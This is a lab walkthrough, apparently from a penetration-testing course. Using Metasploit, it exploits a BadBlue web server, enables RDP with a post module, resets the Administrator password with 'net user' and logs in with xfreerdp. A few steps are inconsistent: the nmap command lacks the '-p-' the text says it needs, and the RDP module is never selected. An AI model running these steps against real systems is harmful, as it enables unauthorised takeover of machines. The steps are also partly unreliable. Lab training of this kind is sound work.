Lab
Note: rdesktop will not work on this setup as it does not support NLA. Use xfreerdp to connect to the RDP server.
Objective: find and exploit the vulnerable application and get an RDP session to find the flag.
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a rdp
Set Global Variables
setg RHOSTS 10.3.31.175
setg RHOST 10.3.31.175
Scan with db_nmap
The default port scan does not detect RDP (3389), so -p- is needed to catch it.
db_nmap -sC -sV 10.3.31.175 -Pn
Exploit BadBlue
Run the exploit but do not elevate privileges here, or the RDP post module will not work.
use exploit/windows/http/badblue_passthru
exploit
DO NOT ELEVATE PRIVS OR THIS WON'T WORK!
Enable RDP
Find a post module for enabling RDP, then run it against the session:
search type:post RDP
sessions
set SESSION 1
exploit
Change the Administrator Password
net user administrator hacker_123321
Connect with xfreerdp
xfreerdp /u:administrator /p:hacker_123321 /v:10.3.31.175